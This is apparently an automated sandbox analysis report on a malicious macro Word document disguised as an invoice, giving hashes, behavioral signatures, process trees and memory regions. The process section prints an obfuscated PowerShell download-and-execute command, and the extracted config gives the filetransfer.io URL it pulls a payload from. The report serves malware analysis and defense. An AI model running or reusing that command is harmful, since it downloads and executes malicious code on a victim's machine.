Analysis
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max time kernel
34s -
max time network
39s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
12-08-2023 07:58
Behavioral task
behavioral1
Sample
INVOICE PACKAGE LINK TO DOWNLOAD.docm
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
INVOICE PACKAGE LINK TO DOWNLOAD.docm
Resource
win10v2004-20230703-en
General
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Target
INVOICE PACKAGE LINK TO DOWNLOAD.docm
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Size
16KB
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MD5
f2d0c66b801244c059f636d08a474079
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SHA1
c62129fff128817b5af62aa0051c082f9992112e
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SHA256
08d4fd5032b8b24072bdff43932630d4200f68404d7e12ffeeda2364c8158873
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SHA512
5283b2c228d6bdfe5d942f0a318ecd7e251e8a78d1451dc825f05e35d5e07a362e04c8777f63761b13bc672e76391cdc11be5e86ae4a260715e3e5a5cd2f305d
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SSDEEP
384:/iMIoinwt9VRFPZ1AZy8WNxt/ZtNN6wyMDv6js2ZzoP6Yv:/7u651AQrxllN6wyMOAOUPPv
Malware Config
Extracted
https://filetransfer.io/data-package/UR2whuBv/download
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4028 3508 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 22 4028 powershell.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3508 WINWORD.EXE 3508 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4028 powershell.exe 4028 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4028 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3508 WINWORD.EXE 3508 WINWORD.EXE 3508 WINWORD.EXE 3508 WINWORD.EXE 3508 WINWORD.EXE 3508 WINWORD.EXE 3508 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 3508 wrote to memory of 4028 3508 WINWORD.EXE powershell.exe PID 3508 wrote to memory of 4028 3508 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INVOICE PACKAGE LINK TO DOWNLOAD.docm" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h2vu0sdh.low.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/3508-141-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-179-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-136-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmpFilesize
64KB
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memory/3508-138-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmpFilesize
64KB
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memory/3508-139-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmpFilesize
64KB
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memory/3508-137-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-150-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-133-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmpFilesize
64KB
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memory/3508-143-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-142-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-144-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-145-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-146-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-147-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-181-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-134-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmpFilesize
64KB
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memory/3508-140-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-152-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-153-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-151-0x00007FF90BEC0000-0x00007FF90BED0000-memory.dmpFilesize
64KB
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memory/3508-154-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-155-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-156-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-135-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-149-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-180-0x00007FF94E770000-0x00007FF94E965000-memory.dmpFilesize
2.0MB
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memory/3508-148-0x00007FF90BEC0000-0x00007FF90BED0000-memory.dmpFilesize
64KB
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memory/4028-174-0x0000023433190000-0x00000234331A0000-memory.dmpFilesize
64KB
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memory/4028-178-0x00007FF9209A0000-0x00007FF921461000-memory.dmpFilesize
10.8MB
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memory/4028-173-0x0000023433190000-0x00000234331A0000-memory.dmpFilesize
64KB
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memory/4028-172-0x00007FF9209A0000-0x00007FF921461000-memory.dmpFilesize
10.8MB
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memory/4028-162-0x0000023433370000-0x0000023433392000-memory.dmpFilesize
136KB